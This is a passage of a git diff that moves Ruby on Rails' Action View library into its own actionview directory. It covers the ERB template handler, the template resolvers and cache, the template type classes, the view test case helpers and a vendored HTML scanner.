+          end
+        end
+
+        BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
+
+        def add_expr_literal(src, code)
+          flush_newline_if_pending(src)
+          if code =~ BLOCK_EXPR
+            src << '@output_buffer.append= ' << code
+          else
+            src << '@output_buffer.append=(' << code << ');'
+          end
+        end
+
+        def add_expr_escaped(src, code)
+          flush_newline_if_pending(src)
+          if code =~ BLOCK_EXPR
+            src << "@output_buffer.safe_append= " << code
+          else
+            src << "@output_buffer.safe_append=(" << code << ");"
+          end
+        end
+
+        def add_stmt(src, code)
+          flush_newline_if_pending(src)
+          super
+        end
+
+        def add_postamble(src)
+          flush_newline_if_pending(src)
+          src << '@output_buffer.to_s'
+        end
+
+        def flush_newline_if_pending(src)
+          if @newline_pending > 0
+            src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
+            @newline_pending = 0
+          end
+        end
+      end
+
+      class ERB
+        # Specify trim mode for the ERB compiler. Defaults to '-'.
+        # See ERB documentation for suitable values.
+        class_attribute :erb_trim_mode
+        self.erb_trim_mode = '-'
+
+        # Default implementation used.
+        class_attribute :erb_implementation
+        self.erb_implementation = Erubis
+
+        # Do not escape templates of these mime types.
+        class_attribute :escape_whitelist
+        self.escape_whitelist = ["text/plain"]
+
+        ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
+
+        def self.call(template)
+          new.call(template)
+        end
+
+        def supports_streaming?
+          true
+        end
+
+        def handles_encoding?
+          true
+        end
+
+        def call(template)
+          # First, convert to BINARY, so in case the encoding is
+          # wrong, we can still find an encoding tag
+          # (<%# encoding %>) inside the String using a regular
+          # expression
+          template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
+
+          erb = template_source.gsub(ENCODING_TAG, '')
+          encoding = $2
+
+          erb.force_encoding valid_encoding(template.source.dup, encoding)
+
+          # Always make sure we return a String in the default_internal
+          erb.encode!
+
+          self.class.erb_implementation.new(
+            erb,
+            :escape => (self.class.escape_whitelist.include? template.type),
+            :trim => (self.class.erb_trim_mode == "-")
+          ).src
+        end
+
+      private
+
+        def valid_encoding(string, encoding)
+          # If a magic encoding comment was found, tag the
+          # String with this encoding. This is for a case
+          # where the original String was assumed to be,
+          # for instance, UTF-8, but a magic comment
+          # proved otherwise
+          string.force_encoding(encoding) if encoding
+
+          # If the String is valid, return the encoding we found
+          return string.encoding if string.valid_encoding?
+
+          # Otherwise, raise an exception
+          raise WrongEncodingError.new(string, string.encoding)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb
similarity index 100%
rename from actionpack/lib/action_view/template/handlers/raw.rb
rename to actionview/lib/action_view/template/handlers/raw.rb
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
new file mode 100644
index 0000000..0321f81
--- /dev/null
+++ b/actionview/lib/action_view/template/html.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+  # = Action View HTML Template
+  class Template
+    class HTML #:nodoc:
+      attr_accessor :type
+
+      def initialize(string, type = nil)
+        @string = string.to_s
+        @type   = Types[type] || type if type
+        @type ||= Types[:html]
+      end
+
+      def identifier
+        'html template'
+      end
+
+      def inspect
+        'html template'
+      end
+
+      def to_str
+        ERB::Util.h(@string)
+      end
+
+      def render(*args)
+        to_str
+      end
+
+      def formats
+        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
new file mode 100644
index 0000000..f1bb47a
--- /dev/null
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -0,0 +1,346 @@
+require "pathname"
+require "active_support/core_ext/class"
+require "active_support/core_ext/module/attribute_accessors"
+require "action_view/template"
+require "thread"
+require "thread_safe"
+
+module ActionView
+  # = Action View Resolver
+  class Resolver
+    # Keeps all information about view path and builds virtual path.
+    class Path
+      attr_reader :name, :prefix, :partial, :virtual
+      alias_method :partial?, :partial
+
+      def self.build(name, prefix, partial)
+        virtual = ""
+        virtual << "#{prefix}/" unless prefix.empty?
+        virtual << (partial ? "_#{name}" : name)
+        new name, prefix, partial, virtual
+      end
+
+      def initialize(name, prefix, partial, virtual)
+        @name    = name
+        @prefix  = prefix
+        @partial = partial
+        @virtual = virtual
+      end
+
+      def to_str
+        @virtual
+      end
+      alias :to_s :to_str
+    end
+
+    # Threadsafe template cache
+    class Cache #:nodoc:
+      class SmallCache < ThreadSafe::Cache
+        def initialize(options = {})
+          super(options.merge(:initial_capacity => 2))
+        end
+      end
+
+      # preallocate all the default blocks for performance/memory consumption reasons
+      PARTIAL_BLOCK = lambda {|cache, partial| cache[partial] = SmallCache.new}
+      PREFIX_BLOCK  = lambda {|cache, prefix|  cache[prefix]  = SmallCache.new(&PARTIAL_BLOCK)}
+      NAME_BLOCK    = lambda {|cache, name|    cache[name]    = SmallCache.new(&PREFIX_BLOCK)}
+      KEY_BLOCK     = lambda {|cache, key|     cache[key]     = SmallCache.new(&NAME_BLOCK)}
+
+      # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
+      NO_TEMPLATES = [].freeze
+
+      def initialize
+        @data = SmallCache.new(&KEY_BLOCK)
+      end
+
+      # Cache the templates returned by the block
+      def cache(key, name, prefix, partial, locals)
+        if Resolver.caching?
+          @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
+        else
+          fresh_templates  = yield
+          cached_templates = @data[key][name][prefix][partial][locals]
+
+          if templates_have_changed?(cached_templates, fresh_templates)
+            @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
+          else
+            cached_templates || NO_TEMPLATES
+          end
+        end
+      end
+
+      def clear
+        @data.clear
+      end
+
+      private
+
+      def canonical_no_templates(templates)
+        templates.empty? ? NO_TEMPLATES : templates
+      end
+
+      def templates_have_changed?(cached_templates, fresh_templates)
+        # if either the old or new template list is empty, we don't need to (and can't)
+        # compare modification times, and instead just check whether the lists are different
+        if cached_templates.blank? || fresh_templates.blank?
+          return fresh_templates.blank? != cached_templates.blank?
+        end
+
+        cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
+
+        # if a template has changed, it will be now be newer than all the cached templates
+        fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
+      end
+    end
+
+    cattr_accessor :caching
+    self.caching = true
+
+    class << self
+      alias :caching? :caching
+    end
+
+    def initialize
+      @cache = Cache.new
+    end
+
+    def clear_cache
+      @cache.clear
+    end
+
+    # Normalizes the arguments and passes it on to find_templates.
+    def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
+      cached(key, [name, prefix, partial], details, locals) do
+        find_templates(name, prefix, partial, details)
+      end
+    end
+
+  private
+
+    delegate :caching?, to: :class
+
+    # This is what child classes implement. No defaults are needed
+    # because Resolver guarantees that the arguments are present and
+    # normalized.
+    def find_templates(name, prefix, partial, details)
+      raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details) method"
+    end
+
+    # Helpers that builds a path. Useful for building virtual paths.
+    def build_path(name, prefix, partial)
+      Path.build(name, prefix, partial)
+    end
+
+    # Handles templates caching. If a key is given and caching is on
+    # always check the cache before hitting the resolver. Otherwise,
+    # it always hits the resolver but if the key is present, check if the
+    # resolver is fresher before returning it.
+    def cached(key, path_info, details, locals) #:nodoc:
+      name, prefix, partial = path_info
+      locals = locals.map { |x| x.to_s }.sort!
+
+      if key
+        @cache.cache(key, name, prefix, partial, locals) do
+          decorate(yield, path_info, details, locals)
+        end
+      else
+        decorate(yield, path_info, details, locals)
+      end
+    end
+
+    # Ensures all the resolver information is set in the template.
+    def decorate(templates, path_info, details, locals) #:nodoc:
+      cached = nil
+      templates.each do |t|
+        t.locals         = locals
+        t.formats        = details[:formats]  || [:html] if t.formats.empty?
+        t.variants       = details[:variants] || []      if t.variants.empty?
+        t.virtual_path ||= (cached ||= build_path(*path_info))
+      end
+    end
+  end
+
+  # An abstract class that implements a Resolver with path semantics.
+  class PathResolver < Resolver #:nodoc:
+    EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
+
+    def initialize(pattern=nil)
+      @pattern = pattern || DEFAULT_PATTERN
+      super()
+    end
+
+    private
+
+    def find_templates(name, prefix, partial, details)
+      path = Path.build(name, prefix, partial)
+      query(path, details, details[:formats])
+    end
+
+    def query(path, details, formats)
+      query = build_query(path, details)
+
+      template_paths = find_template_paths query
+
+      template_paths.map { |template|
+        handler, format, variant = extract_handler_and_format_and_variant(template, formats)
+        contents = File.binread(template)
+
+        Template.new(contents, File.expand_path(template), handler,
+          :virtual_path => path.virtual,
+          :format       => format,
+          :variant      => variant,
+          :updated_at   => mtime(template)
+        )
+      }
+    end
+
+    if RUBY_VERSION >= '2.2.0'
+      def find_template_paths(query)
+        Dir[query].reject { |filename|
+          File.directory?(filename) ||
+            # deals with case-insensitive file systems.
+            !File.fnmatch(query, filename, File::FNM_EXTGLOB)
+        }
+      end
+    else
+      def find_template_paths(query)
+        # deals with case-insensitive file systems.
+        sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
+
+        Dir[query].reject { |filename|
+          File.directory?(filename) ||
+            !sanitizer[File.dirname(filename)].include?(filename)
+        }
+      end
+    end
+
+    # Helper for building query glob string based on resolver's pattern.
+    def build_query(path, details)
+      query = @pattern.dup
+
+      prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
+      query.gsub!(/\:prefix(\/)?/, prefix)
+
+      partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
+      query.gsub!(/\:action/, partial)
+
+      details.each do |ext, variants|
+        query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
+      end
+
+      File.expand_path(query, @path)
+    end
+
+    def escape_entry(entry)
+      entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
+    end
+
+    # Returns the file mtime from the filesystem.
+    def mtime(p)
+      File.mtime(p)
+    end
+
+    # Extract handler and formats from path. If a format cannot be a found neither
+    # from the path, or the handler, we should return the array of formats given
+    # to the resolver.
+    def extract_handler_and_format_and_variant(path, default_formats)
+      pieces = File.basename(path).split(".")
+      pieces.shift
+
+      extension = pieces.pop
+      unless extension
+        message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
+                  "but will change to RAW in the future."
+        ActiveSupport::Deprecation.warn message
+      end
+
+      handler = Template.handler_for_extension(extension)
+      format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
+      format  &&= Template::Types[format]
+
+      [handler, format, variant]
+    end
+  end
+
+  # A resolver that loads files from the filesystem. It allows setting your own
+  # resolving pattern. Such pattern can be a glob string supported by some variables.
+  #
+  # ==== Examples
+  #
+  # Default pattern, loads views the same way as previous versions of rails, eg. when you're
+  # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
+  #
+  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
+  #
+  # This one allows you to keep files with different formats in separate subdirectories,
+  # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
+  # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
+  #
+  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
+  #
+  # If you don't specify a pattern then the default will be used.
+  #
+  # In order to use any of the customized resolvers above in a Rails application, you just need
+  # to configure ActionController::Base.view_paths in an initializer, for example:
+  #
+  #   ActionController::Base.view_paths = FileSystemResolver.new(
+  #     Rails.root.join("app/views"),
+  #     ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
+  #   )
+  #
+  # ==== Pattern format and variables
+  #
+  # Pattern has to be a valid glob string, and it allows you to use the
+  # following variables:
+  #
+  # * <tt>:prefix</tt> - usually the controller path
+  # * <tt>:action</tt> - name of the action
+  # * <tt>:locale</tt> - possible locale versions
+  # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+  # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
+  #
+  class FileSystemResolver < PathResolver
+    def initialize(path, pattern=nil)
+      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+      super(pattern)
+      @path = File.expand_path(path)
+    end
+
+    def to_s
+      @path.to_s
+    end
+    alias :to_path :to_s
+
+    def eql?(resolver)
+      self.class.equal?(resolver.class) && to_path == resolver.to_path
+    end
+    alias :== :eql?
+  end
+
+  # An Optimized resolver for Rails' most common case.
+  class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
+    def build_query(path, details)
+      query = escape_entry(File.join(@path, path))
+
+      exts = EXTENSIONS.map do |ext, prefix|
+        "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+      end.join
+
+      query + exts
+    end
+  end
+
+  # The same as FileSystemResolver but does not allow templates to store
+  # a virtual path since it is invalid for such resolvers.
+  class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
+    def self.instances
+      [new(""), new("/")]
+    end
+
+    def decorate(*)
+      super.each { |t| t.virtual_path = nil }
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
new file mode 100644
index 0000000..04f5b8d
--- /dev/null
+++ b/actionview/lib/action_view/template/text.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+  # = Action View Text Template
+  class Template
+    class Text #:nodoc:
+      attr_accessor :type
+
+      def initialize(string, type = nil)
+        @string = string.to_s
+        @type   = Types[type] || type if type
+        @type ||= Types[:text]
+      end
+
+      def identifier
+        'text template'
+      end
+
+      def inspect
+        'text template'
+      end
+
+      def to_str
+        @string
+      end
+
+      def render(*args)
+        to_str
+      end
+
+      def formats
+        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
new file mode 100644
index 0000000..b84e028
--- /dev/null
+++ b/actionview/lib/action_view/template/types.rb
@@ -0,0 +1,57 @@
+require 'set'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionView
+  class Template
+    class Types
+      class Type
+        cattr_accessor :types
+        self.types = Set.new
+
+        def self.register(*t)
+          types.merge(t.map { |type| type.to_s })
+        end
+
+        register :html, :text, :js, :css,  :xml, :json
+
+        def self.[](type)
+          return type if type.is_a?(self)
+
+          if type.is_a?(Symbol) || types.member?(type.to_s)
+            new(type)
+          end
+        end
+
+        attr_reader :symbol
+
+        def initialize(symbol)
+          @symbol = symbol.to_sym
+        end
+
+        delegate :to_s, :to_sym, :to => :symbol
+        alias to_str to_s
+
+        def ref
+          to_sym || to_s
+        end
+
+        def ==(type)
+          return false if type.blank?
+          symbol.to_sym == type.to_sym
+        end
+      end
+
+      cattr_accessor :type_klass
+
+      def self.delegate_to(klass)
+        self.type_klass = klass
+      end
+
+      delegate_to Type
+
+      def self.[](type)
+        type_klass[type]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
new file mode 100644
index 0000000..3145446
--- /dev/null
+++ b/actionview/lib/action_view/test_case.rb
@@ -0,0 +1,272 @@
+require 'active_support/core_ext/module/remove_method'
+require 'action_controller'
+require 'action_controller/test_case'
+require 'action_view'
+
+module ActionView
+  # = Action View Test Case
+  class TestCase < ActiveSupport::TestCase
+    class TestController < ActionController::Base
+      include ActionDispatch::TestProcess
+
+      attr_accessor :request, :response, :params
+
+      class << self
+        attr_writer :controller_path
+      end
+
+      def controller_path=(path)
+        self.class.controller_path=(path)
+      end
+
+      def initialize
+        super
+        self.class.controller_path = ""
+        @request = ActionController::TestRequest.new
+        @response = ActionController::TestResponse.new
+
+        @request.env.delete('PATH_INFO')
+        @params = {}
+      end
+    end
+
+    module Behavior
+      extend ActiveSupport::Concern
+
+      include ActionDispatch::Assertions, ActionDispatch::TestProcess
+      include ActionController::TemplateAssertions
+      include ActionView::Context
+
+      include ActionDispatch::Routing::PolymorphicRoutes
+
+      include AbstractController::Helpers
+      include ActionView::Helpers
+      include ActionView::RecordIdentifier
+      include ActionView::RoutingUrlFor
+
+      include ActiveSupport::Testing::ConstantLookup
+
+      delegate :lookup_context, :to => :controller
+      attr_accessor :controller, :output_buffer, :rendered
+
+      module ClassMethods
+        def tests(helper_class)
+          case helper_class
+          when String, Symbol
+            self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+          when Module
+            self.helper_class = helper_class
+          end
+        end
+
+        def determine_default_helper_class(name)
+          determine_constant_from_test_name(name) do |constant|
+            Module === constant && !(Class === constant)
+          end
+        end
+
+        def helper_method(*methods)
+          # Almost a duplicate from ActionController::Helpers
+          methods.flatten.each do |method|
+            _helpers.module_eval <<-end_eval
+              def #{method}(*args, &block)                    # def current_user(*args, &block)
+                _test_case.send(%(#{method}), *args, &block)  #   _test_case.send(%(current_user), *args, &block)
+              end                                             # end
+            end_eval
+          end
+        end
+
+        attr_writer :helper_class
+
+        def helper_class
+          @helper_class ||= determine_default_helper_class(name)
+        end
+
+        def new(*)
+          include_helper_modules!
+          super
+        end
+
+      private
+
+        def include_helper_modules!
+          helper(helper_class) if helper_class
+          include _helpers
+        end
+
+      end
+
+      def setup_with_controller
+        @controller = ActionView::TestCase::TestController.new
+        @request = @controller.request
+        @output_buffer = ActiveSupport::SafeBuffer.new
+        @rendered = ''
+
+        make_test_case_available_to_view!
+        say_no_to_protect_against_forgery!
+      end
+
+      def config
+        @controller.config if @controller.respond_to?(:config)
+      end
+
+      def render(options = {}, local_assigns = {}, &block)
+        view.assign(view_assigns)
+        @rendered << output = view.render(options, local_assigns, &block)
+        output
+      end
+
+      def rendered_views
+        @_rendered_views ||= RenderedViewsCollection.new
+      end
+
+      class RenderedViewsCollection
+        def initialize
+          @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
+        end
+
+        def add(view, locals)
+          @rendered_views[view] ||= []
+          @rendered_views[view] << locals
+        end
+
+        def locals_for(view)
+          @rendered_views[view]
+        end
+
+        def rendered_views
+          @rendered_views.keys
+        end
+
+        def view_rendered?(view, expected_locals)
+          locals_for(view).any? do |actual_locals|
+            expected_locals.all? {|key, value| value == actual_locals[key] }
+          end
+        end
+      end
+
+      included do
+        setup :setup_with_controller
+      end
+
+    private
+
+      # Support the selector assertions
+      #
+      # Need to experiment if this priority is the best one: rendered => output_buffer
+      def response_from_page
+        HTML::Document.new(@rendered.blank? ? @output_buffer : @rendered).root
+      end
+
+      def say_no_to_protect_against_forgery!
+        _helpers.module_eval do
+          remove_possible_method :protect_against_forgery?
+          def protect_against_forgery?
+            false
+          end
+        end
+      end
+
+      def make_test_case_available_to_view!
+        test_case_instance = self
+        _helpers.module_eval do
+          unless private_method_defined?(:_test_case)
+            define_method(:_test_case) { test_case_instance }
+            private :_test_case
+          end
+        end
+      end
+
+      module Locals
+        attr_accessor :rendered_views
+
+        def render(options = {}, local_assigns = {})
+          case options
+          when Hash
+            if block_given?
+              rendered_views.add options[:layout], options[:locals]
+            elsif options.key?(:partial)
+              rendered_views.add options[:partial], options[:locals]
+            end
+          else
+            rendered_views.add options, local_assigns
+          end
+
+          super
+        end
+      end
+
+      # The instance of ActionView::Base that is used by +render+.
+      def view
+        @view ||= begin
+          view = @controller.view_context
+          view.singleton_class.send :include, _helpers
+          view.extend(Locals)
+          view.rendered_views = self.rendered_views
+          view.output_buffer = self.output_buffer
+          view
+        end
+      end
+
+      alias_method :_view, :view
+
+      INTERNAL_IVARS = [
+        :@NAME,
+        :@failures,
+        :@assertions,
+        :@__io__,
+        :@_assertion_wrapped,
+        :@_assertions,
+        :@_result,
+        :@_routes,
+        :@controller,
+        :@_layouts,
+        :@_files,
+        :@_rendered_views,
+        :@method_name,
+        :@output_buffer,
+        :@_partials,
+        :@passed,
+        :@rendered,
+        :@request,
+        :@routes,
+        :@tagged_logger,
+        :@_templates,
+        :@options,
+        :@test_passed,
+        :@view,
+        :@view_context_class
+      ]
+
+      def _user_defined_ivars
+        instance_variables - INTERNAL_IVARS
+      end
+
+      # Returns a Hash of instance variables and their values, as defined by
+      # the user in the test case, which are then assigned to the view being
+      # rendered. This is generally intended for internal use and extension
+      # frameworks.
+      def view_assigns
+        Hash[_user_defined_ivars.map do |ivar|
+          [ivar[1..-1].to_sym, instance_variable_get(ivar)]
+        end]
+      end
+
+      def _routes
+        @controller._routes if @controller.respond_to?(:_routes)
+      end
+
+      def method_missing(selector, *args)
+        if @controller.respond_to?(:_routes) &&
+          ( @controller._routes.named_routes.helpers.include?(selector) ||
+            @controller._routes.mounted_helpers.method_defined?(selector) )
+          @controller.__send__(selector, *args)
+        else
+          super
+        end
+      end
+    end
+
+    include Behavior
+  end
+end
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
new file mode 100644
index 0000000..dfb7d46
--- /dev/null
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -0,0 +1,54 @@
+require 'action_view/template/resolver'
+
+module ActionView #:nodoc:
+  # Use FixtureResolver in your tests to simulate the presence of files on the
+  # file system. This is used internally by Rails' own test suite, and is
+  # useful for testing extensions that have no way of knowing what the file
+  # system will look like at runtime.
+  class FixtureResolver < PathResolver
+    attr_reader :hash
+
+    def initialize(hash = {}, pattern=nil)
+      super(pattern)
+      @hash = hash
+    end
+
+    def to_s
+      @hash.keys.join(', ')
+    end
+
+  private
+
+    def query(path, exts, formats)
+      query = ""
+      EXTENSIONS.each_key do |ext|
+        query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
+      end
+      query = /^(#{Regexp.escape(path)})#{query}$/
+
+      templates = []
+      @hash.each do |_path, array|
+        source, updated_at = array
+        next unless _path =~ query
+        handler, format, variant = extract_handler_and_format_and_variant(_path, formats)
+        templates << Template.new(source, _path, handler,
+          :virtual_path => path.virtual,
+          :format => format,
+          :variant => variant,
+          :updated_at => updated_at
+        )
+      end
+
+      templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
+    end
+  end
+
+  class NullResolver < PathResolver
+    def query(path, exts, formats)
+      handler, format, variant = extract_handler_and_format_and_variant(path, formats)
+      [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format, :variant => variant)]
+    end
+  end
+
+end
+
diff --git a/actionpack/lib/action_view/vendor/html-scanner.rb b/actionview/lib/action_view/vendor/html-scanner.rb
similarity index 100%
rename from actionpack/lib/action_view/vendor/html-scanner.rb
rename to actionview/lib/action_view/vendor/html-scanner.rb
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/document.rb b/actionview/lib/action_view/vendor/html-scanner/html/document.rb
similarity index 100%
rename from actionpack/lib/action_view/vendor/html-scanner/html/document.rb
rename to actionview/lib/action_view/vendor/html-scanner/html/document.rb
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/node.rb b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
new file mode 100644
index 0000000..27f0f2f
--- /dev/null
+++ b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
@@ -0,0 +1,532 @@
+require 'strscan'
+
+module HTML #:nodoc:
+
+  class Conditions < Hash #:nodoc:
+    def initialize(hash)
+      super()
+      hash = { :content => hash } unless Hash === hash
+      hash = keys_to_symbols(hash)
+      hash.each do |k,v|
+        case k
+          when :tag, :content then
+            # keys are valid, and require no further processing
+          when :attributes then
+            hash[k] = keys_to_strings(v)
+          when :parent, :child, :ancestor, :descendant, :sibling, :before,
+                  :after
+            hash[k] = Conditions.new(v)
+          when :children
+            hash[k] = v = keys_to_symbols(v)
+            v.each do |key,value|
+              case key
+                when :count, :greater_than, :less_than
+                  # keys are valid, and require no further processing
+                when :only
+                  v[key] = Conditions.new(value)
+                else
+                  raise "illegal key #{key.inspect} => #{value.inspect}"
+              end
+            end
+          else
+            raise "illegal key #{k.inspect} => #{v.inspect}"
+        end
+      end
+      update hash
+    end
+
+    private
+
+      def keys_to_strings(hash)
+        Hash[hash.keys.map {|k| [k.to_s, hash[k]]}]
+      end
+
+      def keys_to_symbols(hash)
+        Hash[hash.keys.map do |k|
+          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
+          [k.to_sym, hash[k]]
+        end]
+      end
+  end
+
+  # The base class of all nodes, textual and otherwise, in an HTML document.
+  class Node #:nodoc:
+    # The array of children of this node. Not all nodes have children.
+    attr_reader :children
+
+    # The parent node of this node. All nodes have a parent, except for the
+    # root node.
+    attr_reader :parent
+
+    # The line number of the input where this node was begun
+    attr_reader :line
+
+    # The byte position in the input where this node was begun
+    attr_reader :position
+
+    # Create a new node as a child of the given parent.
+    def initialize(parent, line=0, pos=0)
+      @parent = parent
+      @children = []
+      @line, @position = line, pos
+    end
+
+    # Returns a textual representation of the node.
+    def to_s
+      @children.join()
+    end
+
+    # Returns false (subclasses must override this to provide specific matching
+    # behavior.) +conditions+ may be of any type.
+    def match(conditions)
+      false
+    end
+
+    # Search the children of this node for the first node for which #find
+    # returns non +nil+. Returns the result of the #find call that succeeded.
+    def find(conditions)
+      conditions = validate_conditions(conditions)
+      @children.each do |child|
+        node = child.find(conditions)
+        return node if node
+      end
+      nil
+    end
+
+    # Search for all nodes that match the given conditions, and return them
+    # as an array.
+    def find_all(conditions)
+      conditions = validate_conditions(conditions)
+
+      matches = []
+      matches << self if match(conditions)
+      @children.each do |child|
+        matches.concat child.find_all(conditions)
+      end
+      matches
+    end
+
+    # Returns +false+. Subclasses may override this if they define a kind of
+    # tag.
+    def tag?
+      false
+    end
+
+    def validate_conditions(conditions)
+      Conditions === conditions ? conditions : Conditions.new(conditions)
+    end
+
+    def ==(node)
+      return false unless self.class == node.class && children.size == node.children.size
+
+      equivalent = true
+
+      children.size.times do |i|
+        equivalent &&= children[i] == node.children[i]
+      end
+
+      equivalent
+    end
+
+    class <<self
+      def parse(parent, line, pos, content, strict=true)
+        if content !~ /^<\S/
+          Text.new(parent, line, pos, content)
+        else
+          scanner = StringScanner.new(content)
+
+          unless scanner.skip(/</)
+            if strict
+              raise "expected <"
+            else
+              return Text.new(parent, line, pos, content)
+            end
+          end
+
+          if scanner.skip(/!\[CDATA\[/)
+            unless scanner.skip_until(/\]\]>/)
+              if strict
+                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
+              else
+                scanner.skip_until(/\Z/)
+              end
+            end
+
+            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
+          end
+
+          closing = ( scanner.scan(/\//) ? :close : nil )
+          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
+          name.downcase!
+
+          unless closing
+            scanner.skip(/\s*/)
+            attributes = {}
+            while attr = scanner.scan(/[-\w:]+/)
+              value = true
+              if scanner.scan(/\s*=\s*/)
+                if delim = scanner.scan(/['"]/)
+                  value = ""
+                  while text = scanner.scan(/[^#{delim}\\]+|./)
+                    case text
+                      when "\\" then
+                        value << text
+                        break if scanner.eos?
+                        value << scanner.getch
+                      when delim
+                        break
+                      else value << text
+                    end
+                  end
+                else
+                  value = scanner.scan(/[^\s>\/]+/)
+                end
+              end
+              attributes[attr.downcase] = value
+              scanner.skip(/\s*/)
+            end
+
+            closing = ( scanner.scan(/\//) ? :self : nil )
+          end
+
+          unless scanner.scan(/\s*>/)
+            if strict
+              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})"
+            else
+              # throw away all text until we find what we're looking for
+              scanner.skip_until(/>/) or scanner.terminate
+            end
+          end
+
+          Tag.new(parent, line, pos, name, attributes, closing)
+        end
+      end
+    end
+  end
+
+  # A node that represents text, rather than markup.
+  class Text < Node #:nodoc:
+
+    attr_reader :content
+
+    # Creates a new text node as a child of the given parent, with the given
+    # content.
+    def initialize(parent, line, pos, content)
+      super(parent, line, pos)
+      @content = content
+    end
+
+    # Returns the content of this node.
+    def to_s
+      @content
+    end
+
+    # Returns +self+ if this node meets the given conditions. Text nodes support
+    # conditions of the following kinds:
+    #
+    # * if +conditions+ is a string, it must be a substring of the node's
+    #   content
+    # * if +conditions+ is a regular expression, it must match the node's
+    #   content
+    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
+    #   is either a string or a regexp, and which is interpreted as described
+    #   above.
+    def find(conditions)
+      match(conditions) && self
+    end
+
+    # Returns non-+nil+ if this node meets the given conditions, or +nil+
+    # otherwise. See the discussion of #find for the valid conditions.
+    def match(conditions)
+      case conditions
+        when String
+          @content == conditions
+        when Regexp
+          @content =~ conditions
+        when Hash
+          conditions = validate_conditions(conditions)
+
+          # Text nodes only have :content, :parent, :ancestor
+          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
+            return false
+          end
+
+          match(conditions[:content])
+        else
+          nil
+      end
+    end
+
+    def ==(node)
+      return false unless super
+      content == node.content
+    end
+  end
+
+  # A CDATA node is simply a text node with a specialized way of displaying
+  # itself.
+  class CDATA < Text #:nodoc:
+    def to_s
+      "<![CDATA[#{super}]]>"
+    end
+  end
+
+  # A Tag is any node that represents markup. It may be an opening tag, a
+  # closing tag, or a self-closing tag. It has a name, and may have a hash of
+  # attributes.
+  class Tag < Node #:nodoc:
+
+    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
+    attr_reader :closing
+
+    # Either +nil+, or a hash of attributes for this node.
+    attr_reader :attributes
+
+    # The name of this tag.
+    attr_reader :name
+
+    # Create a new node as a child of the given parent, using the given content
+    # to describe the node. It will be parsed and the node name, attributes and
+    # closing status extracted.
+    def initialize(parent, line, pos, name, attributes, closing)
